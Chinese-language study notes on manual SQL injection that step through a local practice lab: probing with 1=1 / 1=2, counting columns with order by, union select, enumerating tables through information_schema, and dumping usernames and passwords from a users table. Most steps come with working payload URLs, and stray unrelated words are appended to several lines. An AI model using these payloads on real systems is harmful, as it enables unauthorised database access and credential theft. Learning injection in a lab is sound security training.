SQL注入學習筆記

從網頁傳入參數注入php

這是SQL注入中最多見的方法,而且根據該注入原理有跟多SQL注入工具mysql

一樣,首先應測試是否存在注入漏洞,簡單的:’ 或 and 1=1 and 1=2之類的SQL語句。sql

若是沒有檢測,直接運行SQL語句,說明有機會注入。數據庫

從參數注入,簡單的測試方法是:工具

① http://www.xxx.com/index.php?id=2測試

② http://www.xxx.com/index.php?id=2' and 1=1spa

③ http://www.xxx.com/index.php?id=2' and 1=2orm

能夠注入的表現:it

① 正常顯示(這是必然的,否則程序就有錯)io

② 正常顯示,內容基本與①相同

③ 提示BOF或EOF(程序沒作任何判斷時)、或提示找不到記錄(判斷了rs.eof時)、或顯示內容爲空(程序加了on error resume next)

注入具體步驟示例:

步驟:

1 先判斷是否有注入點 and 1=1 and 1=2

2 再判斷字段數量 order by x 若是頁面回顯正常,則字段數爲 order by 後面的數字  http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+

3 使用聯合查詢 union   

用 union 語句查看當前是哪幾位有效

http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,2,3 --+

4 根據有效位,更改這兩位變量進行查詢 

  1 select @@basedir 查詢數據庫安裝路徑

  2 select @@datadir 查詢數據庫所在目錄

  3 select version() 查詢數據庫的版本

  4 select user() 查詢當前數據庫的使用用戶

  5 select database() 當前使用數據庫的名字

5 查看當前數據庫裏有哪些表

(補充:

  Mysql5.0以上版本手工注入

  Information_schema:存儲mysql數據庫下全部數據庫的表名和列名信息的自帶數據庫

  information_schema.schemata:存儲mysql數據庫下全部數據庫的庫名信息的表 (字段名爲 schema_name的字段值)

  information_schema.tables:存儲mysql數據庫下全部數據庫的表名信息的表 (字段名爲 table_name:表名

  條件爲 table_schema:數據庫名 )

  information_schema.columns:存儲mysql數據庫下全部數據庫的列名信息的表 (字段名爲column_name:的字段值))

6 根據查詢到的有用信息表user,想查看其表中有哪些屬性即列名。

例如:http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='users' and table_schema='security' limit 0,1--+

7 查看users表裏面具體的用戶信息。

http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,username,password from users limit 0,1--+

 

基本步驟:

1、找到注入點;

2、判斷當前表的字段;

3、用聯合語句查看哪幾位是有效位;

4、查看當前數據庫中有哪些表;

5、查看錶中有哪些屬性;

6、查看錶中具體的數據信息

相關文章
相關標籤/搜索